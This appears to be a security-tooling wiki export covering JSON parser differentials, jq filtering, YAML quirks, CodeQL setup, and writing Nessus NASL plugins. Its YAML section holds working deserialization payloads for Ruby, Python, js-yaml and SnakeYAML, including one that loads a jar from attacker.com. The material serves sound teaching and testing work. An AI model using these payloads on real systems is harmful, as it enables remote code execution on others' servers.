When two systems parse the same data, one may perform security checks and the other uses it to perform a sensitive action. If you can hide a payload from the 1st parser, but make it get recognized by the 2nd, you can bypass the check.

The following article goes through some common ways the seemingly simple format of JSON can still be confused between parsers. They describe 5 general categories:

1. Inconsistent Duplicate Key Precedence
2. Key Collision: Character truncation and Comments
3. JSON Serialization Quirks
4. Float and Integer Representation
5. Permissive Parsing and Other Bugs

{% embed url="<https://bishopfox.com/blog/json-interoperability-vulnerabilities>" %}
Detailed explanation of several JSON parser differential techniques
{% endembed %}

For specifically Go-based parser, a detailed research was put out in the following blog:

{% embed url="<https://blog.trailofbits.com/2025/06/17/unexpected-security-footguns-in-gos-parsers/>" %}
JSON/XML/YAML parsing differentials in Go
{% endembed %}

## [jq](https://stedolan.github.io/jq/) (JSON Query)

`jq` is a command-line utility to parse and filter JSON. It has its own syntax that allows you to transform and select things from a JSON string. For a complete and detailed manual of all the functionality see the following page:

{% embed url="<https://stedolan.github.io/jq/manual/>" %}
Manual for the jq syntax
{% endembed %}

There are two main ways to get some JSON data into `jq`. You can either specify a file to read the data from or pipe data into `jq` with the `|` in bash (in this example `.` matches everything):

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ jq [FILTER] [FILES...]
</strong><strong>$ jq . data.json  # Read from file
</strong><strong>$ echo '{"hello":"world"}' | jq .  # Read from STDIN
</strong>{
  "hello": "world"
}
</code></pre>

### Options

* `-r`: Raw output, shows strings in the output as raw text without the surrounding `"` quotes. Useful when passing output to other tools that need simple newline separated values.

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ echo '[{"some": "thing"}, {"some": "other"}]' | jq .[].some
</strong>"thing"
"other"
<strong>$ echo '[{"some": "thing"}, {"some": "other"}]' | jq -r .[].some
</strong>thing
other
</code></pre>

### Filters

The power of `jq` is when you learn to different filters. Forget having to write Python scripts to parse and search through JSON, use `jq` instead.

Filters **always start** with `.`, to start from the root of the JSON.

#### Lists and Objects

To get to a specific value in JSON you can use the `.` and `[]` syntax.

* [`.foo.bar`](https://stedolan.github.io/jq/manual/#ObjectIdentifier-Index:.foo,.foo.bar): Gets a **key** from an object
  * Input: `{"foo": {"bar": 123}}`
  * Output: `123` a
* [`.[2]`](https://stedolan.github.io/jq/manual/#ArrayIndex:.\[2]): Gets an array **index**. Starting from 0
  * Input: `["first", "second", "third", "fourth"]`
  * Output: `"third"`
* [`.[1:3]`](https://stedolan.github.io/jq/manual/#Array/StringSlice:.\[10:15]): Gets a **slice** of the array from one index to another
  * Input: `["first", "second", "third", "fourth"]`
  * Output: `[ "second", "third" ]`
* [`.[].foo`](https://stedolan.github.io/jq/manual/#Array/ObjectValueIterator:.\[]): **Iterate** through all indexes of the array
  * Input: `[{"some": "thing"}, {"some": "other"}]`
  * Output: `"thing"` `"other"`
* [`?`](https://stedolan.github.io/jq/manual/#OptionalObjectIdentifier-Index:.foo?): Optional. Place after some key or array to not give errors when `null`
* [`..`](https://stedolan.github.io/jq/manual/#RecursiveDescent:..): Recursively descend JSON to every value. Very useful when used with `?`

#### Combining filters

You can combine all these filters to get very specific values from a JSON object. Using the `|` pipe operator, you can feed the output of one filter, into the next filter. When the first filter gives multiple outputs, the second filter runs on all outputs separately, allowing you to for example iterate through some array, and get keys from those entries.

<pre class="language-jq" data-title="Examples"><code class="lang-jq"># Get all "some" keys from objects in an array
[{"some": "thing"}, {"some": "other"}]
<strong>jq .[] | .some
</strong>"thing"
"other"

# Recursively search for key "some", ignoring null values
[{"some": "thing"}, {"further": {"some": "other"}}]
<strong>jq '.. | .some? | select(. != null)'
</strong>"thing"
"other"
</code></pre>

#### Functions

There are some functions in the `jq` syntax that allow you to test or select specific values.

* [`select(boolean)`](https://stedolan.github.io/jq/manual/#select\(boolean_expression\)): Continue with this value if true, and stop if false. Only selects when the boolean condition passes

<pre class="language-jq"><code class="lang-jq"># Select "value" key where "name" is "b"
[{"name": "a", "value": "value_a"}, {"name": "b", "value": "value_b"}]
<strong>jq '.[] | select(.name == "b") | .value'
</strong>"value_b"
</code></pre>

* [`test(regex; flags)`](https://stedolan.github.io/jq/manual/#test\(val\),test\(regex;flags\)): Test if the value matches [Regular Expressions (RegEx)](/languages/regular-expressions-regex). Useful for checking if a value contains some text or pattern in a `select()` statement

<pre class="language-jq"><code class="lang-jq"># Match /second/i regex for name, and return value
[{"name": "this_First_name", "value": "value_a"}, {"name": "and_Second_name", "value": "value_b"}]
<strong>jq '.[] | select(.name | test("second"; "i")) | .value'
</strong>"value_b"
</code></pre>

#### Constructing Objects/Arrays

Sometimes the JSON format is not exactly what you want, and you want to restructure it a bit, or only select a few values. This is where you can use `jq` to select and reconstruct an object in a new format. At any time you can use `{.key: value, .other: value}` to construct an object to either pass into another filter, or just as output.

<pre class="language-jq"><code class="lang-jq"># Select where name is "b", then change name to matched_name, and add 10 to value
[{"name": "a", "value": 1}, {"name": "b", "value": 2}]'
<strong>jq '.[] | select(.name == "b") | {matched_name: .name, value: (.value+10)}
</strong>{
  "matched_name": "b",
  "value": 12
}
</code></pre>

The same idea works for arrays. You can use `[values...]` to output a certain array:

<pre class="language-jq"><code class="lang-jq"># Get "value" key from all items and put them in an array
[{"name": "a", "value": 1}, {"name": "b", "value": 2}]
<strong>jq '[.[].value]'
</strong>[1, 2]
</code></pre>

### Examples

Some practical examples of using `jq` to parse and filter JSON

#### Server List Ping

The [Minecraft Server List Ping](https://minecraft.wiki/w/Java_Edition_protocol/Server_List_Ping) protocol returns JSON in the following format:

```json
{
  "version": "1.19.1",
  "protocol": 760,
  "ip": [
    "127.0.0.1",
    25565
  ],
  "players": [],
  "favicon": "",
  "motd": {
    "text": "A Vanilla Minecraft Server powered by Docker",
    "bold": false,
    "italic": false,
    "underlined": false,
    "strikethrough": false,
    "obfuscated": false,
    "color": null,
    "extra": []
  }
}
```

Imagine we have an array of these objects, and we want to find servers where the `motd` text contains "docker". In this case, we can use the recursive descend, `select()` and `test()` functions:

```jq
jq '.[] | select(.motd | ..|.text? | select(. != null) | test("docker"; "i"))'
```


# YAML

Yet Another Markup Language

## Description

First of all, this great article explains all sorts of tricks and weirdness in YAML:

{% embed url="<https://ruudvanasseldonk.com/2023/01/11/the-yaml-document-from-hell>" %}
Explanation and examples of many YAML tricks
{% endembed %}

## Insecure Deserialization

In YAML the `!` character can mean a **tag**, which allows you to execute a function in the host language with a parameter that comes right after (because why not). Many parsers implement this as it is required by the spec, but if attackers have control over the YAML file, even partially, they can use these tags to run arbitrary functions with arbitrary arguments.

A common target for this is a function that executes shell commands, where you can gain Remote Code Execution. The following examples all execute the `id` command and allow you to execute any arbitrary commands:

### Ruby

{% code title="Vulnerable Code" %}

```ruby
require "yaml"

YAML.load(File.read("data.yml"))
```

{% endcode %}

#### Payload (>2.7, [source](https://staaldraad.github.io/post/2021-01-09-universal-rce-ruby-yaml-load-updated/))

{% code title="data.yml" %}

```yaml
---
- !ruby/object:Gem::Installer
    i: x
- !ruby/object:Gem::SpecFetcher
    i: y
- !ruby/object:Gem::Requirement
  requirements:
    !ruby/object:Gem::Package::TarReader
    io: &1 !ruby/object:Net::BufferedIO
      io: &1 !ruby/object:Gem::Package::TarReader::Entry
         read: 0
         header: "abc"
      debug_output: &1 !ruby/object:Net::WriteAdapter
         socket: &1 !ruby/object:Gem::RequestSet
             sets: !ruby/object:Net::WriteAdapter
                 socket: !ruby/module 'Kernel'
                 method_id: :system
             git_set: "id"
         method_id: :resolve
```

{% endcode %}

### Python

{% code title="Vulnerable Code" %}

```python
from yaml import Loader, load

deserialized = load(open('data.yml'), Loader=Loader)
```

{% endcode %}

#### Payload

{% code title="data.yml" %}

```yaml
!!python/object/apply:os.system
- "id"
```

{% endcode %}

### JavaScript - `js-yaml` (<4.0)

This popular JavaScript library allows the creation of arbitrary functions like `.toString()` which can be called accidentally, when using `load()` instead of `safeLoad()` in versions below 4:

{% code title="Vulnerable Code" %}

```javascript
const yaml = require('js-yaml');
const fs = require('fs');

const res = yaml.load(fs.readFileSync('data.yml'));
console.log(res + "")  // Calls .toString() as trigger
```

{% endcode %}

#### Payloads

{% code title="data.yml" %}

```yaml
"toString": !<tag:yaml.org,2002:js/function> "function (){console.log(process.mainModule.require('child_process').execSync('id').toString())}"
```

{% endcode %}

{% code title="data.yml" %}

```yaml
toString: !!js/function >
  function () {
      console.log(process.mainModule.require('child_process').execSync('id').toString())
  }
```

{% endcode %}

### Java - SnakeYAML (<2.0)

{% embed url="<https://www.mscharhag.com/security/snakeyaml-vulnerability-cve-2022-1471>" %}
Walkthrough of vulnerability as theory and exploitability
{% endembed %}

{% code title="Vulnerable Code" %}

```java
import org.yaml.snakeyaml.Yaml;

Yaml yaml = new Yaml();
FileInputStream fis = new FileInputStream("data.yml");
Map<String, Object> parsed = yaml.load(fis);
```

{% endcode %}

#### Payload

{% code title="data.yml" %}

```yaml
some_var: !!javax.script.ScriptEngineManager [
    !!java.net.URLClassLoader [[
        !!java.net.URL ["http://attacker.com/payload.jar"]
    ]]
]
```

{% endcode %}

`/payload.jar` file:

1. [Explanation](https://www.mscharhag.com/security/snakeyaml-vulnerability-cve-2022-1471) (search "remote jar file")
2. [Proof of Concept](https://github.com/jordyv/poc-snakeyaml) with `build.sh` script (change [`exec()`](https://github.com/jordyv/poc-snakeyaml/blob/master/src/pocsnakeyaml/PocScriptEngineFactory.java#L18))

## Parser differentials

The complex nature of YAML makes parsing it consistently a hard task. This results in slight differences between implementations that may confuse a *check* and a *use*. Below is an example that results in `lang: ...` with 3 different values depending on which language's standard library parses it.

```yaml
lang: Python
!!binary bGFuZw==: Go
!binary bGFuZw: Ruby
```

Another more extreme example that requires some specific features supports a lot more languages ([by @taramtrampam](https://gist.github.com/taramtrampam/fca4e599992909b48a3ba1ce69e215a2)):

```yaml
!!binary bGFuZx==: ruby
!!binary lang: rust
!!binary bGFuZy==: node
alias-lang: &lang !!binary bGFuZz==
? *lang
: go
alias-lang2: !!str &lang2 lang
<<: [
  {
    ? *lang2 : java,
  },
]
!!merge qwerty: {lang: "python"}
```

Watch ["Parser Differentials - joernchen at OffensiveCon 2025"](https://www.youtube.com/watch?v=Dq_KVLXzxH8) to learn more.


# CodeQL

A query language for repositories of code

## Setup

Follow the Getting Started documentation to install the precompiled binary:

{% embed url="<https://docs.github.com/en/code-security/codeql-cli/using-the-codeql-cli/getting-started-with-the-codeql-cli>" %}
Getting Started with installing the CodeQL CLI and some other useful tools
{% endembed %}

On the releases page, you should download the "CodeQL Bundle" from any of the assets, likely [`codeql-bundle-linux64.tar.gz`](https://github.com/github/codeql-action/releases/latest/download/codeql-bundle-linux64.tar.gz).

In case you need more queries for different languages not already included in the bundle, try downloading a [precompiled pack of queries](https://docs.github.com/en/code-security/codeql-cli/getting-started-with-the-codeql-cli/setting-up-the-codeql-cli#testing-the-codeql-cli-configuration) per language:

{% code title="Example" %}

```bash
codeql pack download codeql/python-queries
```

{% endcode %}

## Creating a database

{% embed url="<https://docs.github.com/en/code-security/codeql-cli/using-the-codeql-cli/creating-codeql-databases>" %}
Create a CodeQL database from a repository to analyze later with queries
{% endembed %}

Create a database with the following command, inside the root folder of the project you are trying to analyze. `<database>` will be the output directory, and `<language-identifier>` is one of the supported languages that the project is written in.

```bash
codeql database create <database> --language=<language-identifier>
```

{% code title="Example" %}

```bash
codeql database create .codeql --language=python
```

{% endcode %}

{% hint style="info" %}
**Tip**: For some compiled languages like `java`, the autobuilder may not be able to build your source code to index it. You can choose for `--build-mode=none` to disable building the project and just look at the source files.
{% endhint %}

## Analyzing a database

{% embed url="<https://docs.github.com/en/code-security/codeql-cli/using-the-codeql-cli/analyzing-databases-with-the-codeql-cli>" %}
Use queries to analyze a CodeQL database
{% endembed %}

When you have created a database, use the `analyze` command to run queries on a database. `<format>` can be one of the possible multiple formats, like `csv` or `sarif-latest`.

```bash
codeql database analyze <database> --format=<format> --output <output-file>
```

{% code title="Example" %}

```bash
codeql database analyze .codeql --format=sarif-latest --output codeql.sarif
```

{% endcode %}

You can view a CSV file with any spreadsheet program, but the most useful format is [`.sarif`](https://docs.github.com/en/code-security/codeql-cli/codeql-cli-reference/sarif-output). To view the findings and locations in the code you can use the [Sarif Viewer VSCode extension](https://github.com/microsoft/sarif-vscode-extension).

{% embed url="<https://marketplace.visualstudio.com/items?itemName=MS-SarifVSCode.sarif-viewer>" %}
Download **SARIF Viewer** extension by Microsoft DevLabs
{% endembed %}


# NASL (Nessus Plugins)

Nessus Attack Scripting Language for writing plugins

{% hint style="warning" %}
I had the misfortune of wanting to build a plugin for Nessus. This turned out to be way more difficult than expected for many reasons. There is **no official documentation** and only a handful of short blog posts. You **learn** this proprietary language by **looking at examples**. That is why I wanted to document what I have learned on this page.

Know what you're in for when wanting to write NASL. If you are still confident, read on.
{% endhint %}

## Getting Started

[Nessus by Tenable](https://www.tenable.com/products/nessus) is a community and professional application that automatically performs some known attacks. It is mostly focused on CVEs with its many plugin implementations that test for these. It is possible to write your own custom plugins in a proprietary language called NASL (Nessus Attack Scripting Language).

These plugins execute when you start a scan and select them. For each host, each time a configured port for the script is found, the script will be executed and can run checks to eventually make a vulnerability report.

Nessus can report one vulnerability per one plugin.

### Setup

It is useful to create a simple testing setup locally while developing plugins, before deploying it in the real world. Using [Docker](https://www.docker.com/), you can create a reproducible and isolated environment where Nessus can run. The following compose file defines a basic Nessus container:

{% code title="docker-compose.yml" %}

```yaml
services:
  nessus:
    image: tenable/nessus:latest-ubuntu
    ports:
      - 8834:8834
    volumes:
      - nessus:/opt/nessus

volumes:
  nessus:
```

{% endcode %}

Save the above file somewhere, and run:

```sh
docker compose up --build
```

After a few moments, the application should become available on <https://localhost:8834/> and finish initializing. You should click through the setup this one time and choose *Register for Nessus Essentials* for a free community version. This configuration will be saved in the Docker `nessus` volume the next time you start it.

If you don't have an activation code yet, create one by following the instructions. Then, create an admin account and save the password you input. The *Downloading plugins...* step will take a long time, after which it will also have to compile all plugins in the background, taking even longer. Have some patience because this only has to be done once.

When everything is completed (tasks in [/#/settings/notifications](https://localhost:8834/#/settings/notifications) are finished, your terminal should give a progress bar), we can start to customize the setup. When we eventually add our own plugins, the loading process will have to recompile all other plugins as well. It takes way too much time to iterate on an idea, but we can remove some unnecessary plugins for testing.

#### Removing Standard Plugins

In this step, we will only keep the `.nasl` files that are referenced by the standard libraries. At any point, you can add more necessary files from `plugins.bak/` back into `plugins/`.

1. Get a shell in your container:

```bash
docker compose exec -it nessus bash
```

2. Move all plugins to a backup directory:

```bash
cd /opt/nessus/lib/nessus/
mkdir -p plugins.bak
find plugins/ -mindepth 1 -exec mv -t plugins.bak/ {} +
```

3. Copy all non-`.nasl` files (and optionally your plugin already if you have one):

```bash
cd plugins.bak/
cp $(find -type f ! -name "*.nasl") ../plugins/
cp /tmp/your_plugins ../plugins/
```

4. Recursively copy dependencies:

```sh
for i in {1..20}; do
    cp $(egrep -hor "[A-Za-z0-9_-]+\.nasl" ../plugins/ | sort -u) ../plugins/ 2>/dev/null
done
```

#### Settings & Reloading

One important setting that allows unsigned plugins (that we write) to run is the following:

```bash
/opt/nessus/sbin/nessuscli fix --set nasl_no_signature_check=yes
```

Finally, we can reload the plugins as we set up above with the following commands:

```bash
/opt/nessus/sbin/nessusd -R    # Recompile plugins
supervisorctl restart nessusd  # Restart Nessus (only needed for settings change)
```

### Development Cycle

Eventually, you will write `.nasl` files, make slight edits, and want to reload them. To do this, I recommend keeping your plugin in a separate folder nested inside the `plugins` folder because they are loaded recursively. You can then replace the entire folder and trigger a plugin reload, which will be much faster after removing the standard plugins.

```sh
docker compose exec nessus rm -rf /opt/nessus/lib/nessus/plugins/your_plugins
docker compose cp your_plugins nessus:/opt/nessus/lib/nessus/plugins/
docker compose exec nessus /opt/nessus/sbin/nessusd -R
```

You can start a test scan with your plugin by pressing *New Scan* in the UI, and then selecting *Advanced Scan* to configure which plugins will be used. On the *Plugins* tab, you can unselect every plugin except your category.

Give the plugin a name, and for testing, you can target `host.docker.internal` to point to your local machine. By going to *Discovery* and *Port Scanning*, you can also restrict the ports (*Port scan range*) to only the port you are testing on, to prevent long or unintentional scans.

When pressing *Launch*, this should hit your testing server with some enumeration requests, and the custom plugin will run if it matches the port/service.

{% hint style="warning" %}
**Tip**: If your custom plugin did not launch, you may have a non-default port and use a service like `Services/www` name inside your script. Service detection must be on for these kinds of names, otherwise, your script won't be triggered.

Go to the *Plugins* tab and enable the *Service detection* category.
{% endhint %}

## Plugins

This section explains what is needed to write a plugin, and some tips to enhance the experience.

### Plugin Attributes

All scripts have to start with a `description` part, where it runs some code while reloading the plugins to set its title, description and other attributes. Below is a minimal example:

<pre class="language-ruby"><code class="lang-ruby">include('compat.inc');

<strong>if (description) {
</strong><strong>  script_id(910000);  # Must be unique across all plugins
</strong><strong>  script_version('0.1');
</strong>
<strong>  script_name(english:'Testing');  # Title
</strong><strong>  
</strong><strong>  # script_set_attribute(...
</strong><strong>  
</strong><strong>  script_category(ACT_GATHER_INFO);
</strong><strong>  script_copyright(english:'This script is Copyright (C) 2024 by Company');
</strong><strong>  script_family(english:'!Testing');  # Categories are automatically created
</strong>
<strong>  script_dependencies('logins.nasl', "find_service1.nasl", "http_version.nasl");
</strong><strong>  script_require_ports("Services/www", 80);  # Trigger script when port is discovered
</strong><strong>  exit(0);
</strong><strong>}
</strong>
# Regular script code
display('Hello, world!');
</code></pre>

All plugins require a **unique** `script_id()` value, otherwise they won't show up. Keep in mind that many IDs are already taken by standard plugins, so take a really high number (eg. 900000+) to make sure it is outside of this range.

Some more attributes can optionally be added to enhance the documentation of your plugin:

```ruby
script_set_attribute(attribute:'synopsis', value:'Short summary of plugin');
script_set_attribute(attribute:'description', value:'Larger description\nwith multiple\nlines');
script_set_attribute(attribute:'see_also', value:'https://example.com/1');
script_set_attribute(attribute:'see_also', value:'https://example.com/2');
script_set_attribute(attribute:'solution', value:'Another large explanation\nof how to solve this issue');
script_set_attribute(attribute:'plugin_type', value:'remote');
script_set_attribute(attribute:'risk_factor', value:'high');
script_end_attributes();

script_timeout(259200);  # 3 days in seconds. Just '0' seems to default to an hour
```

### Syntax

NASL looks a lot like other programming languages like JavaScript, with if-statements and while-loops being practically identical.

{% code title="If-statements" %}

```ruby
if (variable == 1337) {
    ...
} else if (variable < 42 && variable > -42) {
    ...
} else {
    ...
}
```

{% endcode %}

{% code title="While-loop" %}

```ruby
while (!success) {
    sleep(1);
    success = func();
}
```

{% endcode %}

For-loops are the same as in C-like languages, but another `foreach` statements exists to ease looping over elements in a list:

{% code title="For-loop" %}

```ruby
for (var i = 0; i < 10; i++) {
    ...
}
```

{% endcode %}

{% code title="Foreach-loops" %}

```javascript
foreach var port (ports) {
    display(port);
}

foreach (var port in ports) {
    display(port);
}
```

{% endcode %}

Assigning variables without a prefix will make them *global by default*. If you instead use `var` in front of a variable, it will be scoped locally.

{% hint style="warning" %}
Keep this in mind when naming function variables, as it may be easy to accidentally overwrite another global variable with the same name while executing your function!
{% endhint %}

{% code title="Global vs local scope" %}

```javascript
function func() {
    global = 1337;
    var local = 42;
}
```

{% endcode %}

Values of variables may be *integers, strings, booleans, arrays, dictionaries, and* more. You can define each one as follows:

{% code title="Types of variables" %}

```javascript
var integer = 1337;
var string = "Hello, world!";
var boolean = TRUE;
var array = [1, "2", [3]];
var dictionary = {"key": value, "another": [1, 2, 3]};
```

{% endcode %}

You can index arrays and dictionaries with square brackets (`[]`):

{% code title="Indexing" %}

```javascript
var three = array[2][0];
var value = dictionary["key"];
```

{% endcode %}

Strings can be added together to form complex messages. Adding integers to strings automatically converts them. Note that the `display()` function doesn't automatically add newlines, which you may want after each message. You can write this special character using the `\n` escape, but only inside single-quoted (`'`) strings, not in double-quoted (`"`) strings:

{% code title="String concatenation" %}

```javascript
display("Var: " + "test" + ", " + 1337, '\n');
// Var: test, 1337
```

{% endcode %}

Function calls as seen above can have *unnamed parameters* separated by commas (`,`). Many other functions also use *named parameters* which have a `key: value` format:

{% code title="Calling functions" %}

```javascript
display("Hello, world!");
http_send_recv3(method:"GET", item:"/", port:port);
```

{% endcode %}

To define your own function that accepts parameters, use the `function` keyword. Names between the parentheses are *named parameters*, and *unnamed parameters* can be accessed via the special `_FCT_ANON_ARGS` variable. All parameters are optional and will be null if they are not given a value by the caller. You must define/include functions before they are called.

{% code title="Defining functions" %}

```javascript
function log(name, another) {
  var msg = _FCT_ANON_ARGS[0];
}

log("msg", another:1337);
// msg = "msg", name = null, another = 1337
```

{% endcode %}

### Understanding Functions

There is no official documentation about functions available in NASL. There are some built-in functions and ones you can import via `include("...")` statements. The best way to understand functions is by looking at examples, and by looking at its source code definition.

We will have to search through all plugins quickly, for which [`ripgrep`](https://github.com/BurntSushi/ripgrep) is a great tool:

{% code title="Install ripgrep" %}

```bash
apt update && apt install ripgrep
```

{% endcode %}

If we want to understand the `http_send_recv3` function, for example, we can search for it recursively with the following command to see its usages:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript">$ cd /opt/nessus/lib/nessus/plugins.bak
<strong>$ rg -F 'http_send_recv3('
</strong>
hp_sim_wmi_mapper_unauth_access.nasl
90:      res = http_send_recv3(method:"GET", item:"/", port:port);

pligg_detect.nasl
70:  res = http_send_recv3(method: "GET", item: url, port: port, exit_on_fail: TRUE);

phpmywebhosting_sql_injection.nasl
79:  r = http_send_recv3(method: "POST", item: strcat(dir, "/index.php"), port: port, add_headers: make_array("Content-Type", "application/x-www-form-urlencoded"), data: variables, exit_on_fail: TRUE);
</code></pre>

For a more complete overview of a command's options and where to `include`it from, we can look for its definition:

<pre class="language-shellscript" data-overflow="wrap"><code class="lang-shellscript"><strong>$ rg -F 'function http_send_recv3('
</strong>
http_network.static
1084:function http_send_recv3(target, port, host, method, item, data, version, add_headers, username, password, fetch404, only_content, no_body, follow_redirect, content_type, exit_on_fail, transport, client_cert, client_private_key, client_private_key_password, unrestricted_redirect)
</code></pre>

We find many possible options, which you may also search for to find examples. We shouldn't include this `.static` file directly in our `.nasl` script, but instead, look for a `.inc` file:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ rg -F 'http_network.static'
</strong>
http.inc
29:include("http_network.static");
</code></pre>

It appears that `http.inc` includes the file and thus the function, together with some additional HTTP utilities. Therefore, you should include `http.inc` in your code if you intend to use the function.

#### Function Definitions

We saw a function definition above of `http_send_recv3()` with many different parameters. These in are all *named parameters* and can be filled in a function call by specifying their name followed by a value, like `name: value`.

Some functions also have *unnamed parameters*, these are less obvious and don't show on the same line as the function name. Instead, in the function body it can reference `_FCT_ANON_ARGS` with an index to find the nth unnamed parameter. You can call only these functions with `func(arg1, arg2)` syntax. You can search the name and look for the first few lines:

<pre class="language-shellscript"><code class="lang-shellscript"><strong>$ rg -F -A 5 'function json_write('
</strong>
json2.inc
853:function json_write()
854-{
855-  local_var ds, type;
856-
<strong>857-  ds = _FCT_ANON_ARGS[0];
</strong>858-  type = typeof(ds);
</code></pre>

#### Useful Functions

Below are some more useful functions to get started:

* `append_element(var, value)`: Append an element (`value`) to a list (`var`)
* `isnull()`: Check if the first argument is `null`
* `split(sep, keep)`: Split the string in the first argument by `sep` into an array. `keep` decides to keep the separator in the array as an extra element between each split element
* `tolower()`: Lowercase the first argument
* `int()`: Parse a string as an integer
* `json_read()`: Read the first argument as JSON, returning a parsed object that you can index

### Debugging

There is no Visual Studio Code language support for NASL. One language that comes close to its syntax is Ruby, which you should [select ](https://code.visualstudio.com/docs/languages/overview#_change-the-language-for-the-selected-file)for the `.nasl` extension.

At `/opt/nessus/bin/nasl`, there exists a binary that can be used to test a `.nasl` script. It will run the code and give you output in the terminal. Note that it won't have access to ports or hosts and is only meant for testing. It is, however, a very useful tool in testing syntax and logic in NASL, without having to go through the whole recompilation hassle for every code change.

For debugging, the `display()` function can simply show output in the console. When using the `nasl` binary, the first argument is printed to your terminal. When running installed in Nessus, the output can be found inside `/opt/nessus/var/nessus/logs/nessusd.dump`, where all debug logging is written.

Similarly, `json_write()` is useful for viewing objects in a JSON structure. It may look like this:

```ruby
display('Some variable = ' + variable, '\n');
display('JSON-formatted = ' + json_write(obj), '\n');
```

### Output

The `security_report_v4()` function should be used to report vulnerabilities back to Nessus. These will then be displayed in the UI. Below is an example report:

```ruby
port = get_http_port(default:80);
...
report = 'Dynamic details about this vulnerability:\n' + var + '\n'
security_report_v4(port:port, severity:"high", extra:report)
```

The text in the `extra:` parameter is the only way to send dynamic text to the UI. Other information is already statically defined in [#plugin-attributes](#plugin-attributes "mention").

Nessus decides its severity by the `'risk_factor'` attribute and `severity:` function parameter. Below is a matrix showing how the final value is calculated:

<table><thead><tr><th width="212">Nessus Setting</th><th width="105">none</th><th width="102">low</th><th width="103">medium</th><th width="104">high</th><th>critical</th></tr></thead><tbody><tr><td><code>SECURITY_NOTE</code></td><td><mark style="color:blue;"><strong>INFO</strong></mark></td><td><mark style="color:yellow;"><strong>LOW</strong></mark></td><td><mark style="color:yellow;"><strong>LOW</strong></mark></td><td><mark style="color:yellow;"><strong>LOW</strong></mark></td><td><mark style="color:yellow;"><strong>LOW</strong></mark></td></tr><tr><td><code>SECURITY_WARNING</code></td><td><mark style="color:orange;"><strong>MEDIUM</strong></mark></td><td><mark style="color:orange;"><strong>MEDIUM</strong></mark></td><td><mark style="color:orange;"><strong>MEDIUM</strong></mark></td><td><mark style="color:orange;"><strong>MEDIUM</strong></mark></td><td><mark style="color:orange;"><strong>MEDIUM</strong></mark></td></tr><tr><td><code>SECURITY_HOLE</code></td><td><mark style="color:red;"><strong>HIGH</strong></mark></td><td><mark style="color:red;"><strong>HIGH</strong></mark></td><td><mark style="color:red;"><strong>HIGH</strong></mark></td><td><mark style="color:red;"><strong>HIGH</strong></mark></td><td><mark style="color:purple;"><strong>CRITICAL</strong></mark></td></tr></tbody></table>

<figure><img src="/files/DjKpbN9NDknNk65G425R" alt="" width="378"><figcaption><p>Reference image showing different possible severities</p></figcaption></figure>

Clicking on a vulnerability looks something like this, where the *<mark style="color:red;">red</mark>* part is the dynamic output (the `extra:` parameter). All the rest are decided by static attributes.

<figure><img src="/files/sAbDAEZ63Hgz9p8nuW3F" alt=""><figcaption><p>Example of a plugin output with <em>Output</em> highlighted</p></figcaption></figure>

### Multiple Plugins

As seen in the last image, only the *Output* section of a vulnerability report is dynamic. All other information must be decided beforehand while compiling the plugin in the `if (description)` section. There are cases where your idea may find multiple different vulnerabilities that should all get a unique title.

While it is simply impossible to alter the title at runtime, you can create multiple plugins that communicate with each other. You will have to write out every possible title and make a unique plugin for it (ideally using a template), which can then communicate to work together.

Plugins are sandboxes, and the only real way for plugins to **communicate** is through the *Knowledge Base* (KB). This is a store of keys and values that can be read and written to by any plugin, and will be globally shared. Some existing plugins use this to store which ports are open, which services are detected, or what should be skipped.

One important fact is that the order of plugins is not guaranteed, any plugin may run before another plugin. Plugins run in parallel (5 at a time by default) for maximum efficiency. This can make it difficult to manage a group of plugins as you cannot assign a "main" plugin beforehand. Remember, it may happen that your chosen "main" plugin is 6th in the queue, while 5 other plugins in your group are waiting on the main plugin, creating a **deadlock**.

To solve this, any plugin must be able to become the main plugin of your group. Using the Knowledge Base on a unique key, your plugins can collectively decide on a main plugin by their unique script ID. We also need to be careful of race conditions as multiple plugins will be accessing the KB in parallel. The following code snippet handles this:

<pre class="language-ruby" data-title="Main script election algorithm" data-overflow="wrap"><code class="lang-ruby">id = 900000 + 1;  # Many plugins with unique IDs and the same code
if (description) {
  script_id(id);
  ...
}

<strong>prev_main = get_kb_item("my_group/main");
</strong><strong>if (!prev_main) { # Try to not set it if it is already set
</strong><strong>  set_kb_item(name:"burp/main", value:id);
</strong><strong>}
</strong><strong>sleep(1); # Wait while parallel scripts may be overwriting each other
</strong><strong>main = get_kb_item("my_group/main"); # Last set script will win
</strong><strong>is_main = (main == id);
</strong>
if (is_main) {
  display(id + ": I am the main script", '\n');

  # Share a value with follower scripts
  shared = some_random_value();
  set_kb_item(name:"my_group/shared", value:scan_id);
} else {
  display(id + ": I am a follower script", '\n');
  
  # Receive value from main script
  shared = get_kb_item("burp/shared");
  while (!shared) {
    display(id + ": Waiting for main script...", '\n');
    sleep(1);
    shared = get_kb_item("burp/shared");
  }
}
# At this point, one script will be the "main" script, and all scripts have received the same value `shared` from the main script.
</code></pre>

## Resources

Below are a few small online resources that were useful while learning about NASL:

* <https://avleonov.com/2018/11/05/adding-custom-nasl-plugins-to-tenable-nessus/>
* <https://github.com/tenable/nasl>
* <https://github.com/greenbone/openvas-scanner/blob/main/doc/manual/nasl/built-in-functions/description-functions/script_family.md>
* <https://github.com/schubergphilis/custom-nessus-plugins>
* <http://www.vijaymukhi.com/seccourse/nasl.htm>
* <https://litux.nl/mirror/networksecuritytools/0596007949/networkst-CHP-1-SECT-12.html>
* <https://kaimi.io/en/2019/04/writing-simple-nessus-plugin-en/>
* `/opt/nessus/lib/nessus/plugins`




---

[Next Page](/llms-full.txt/1)

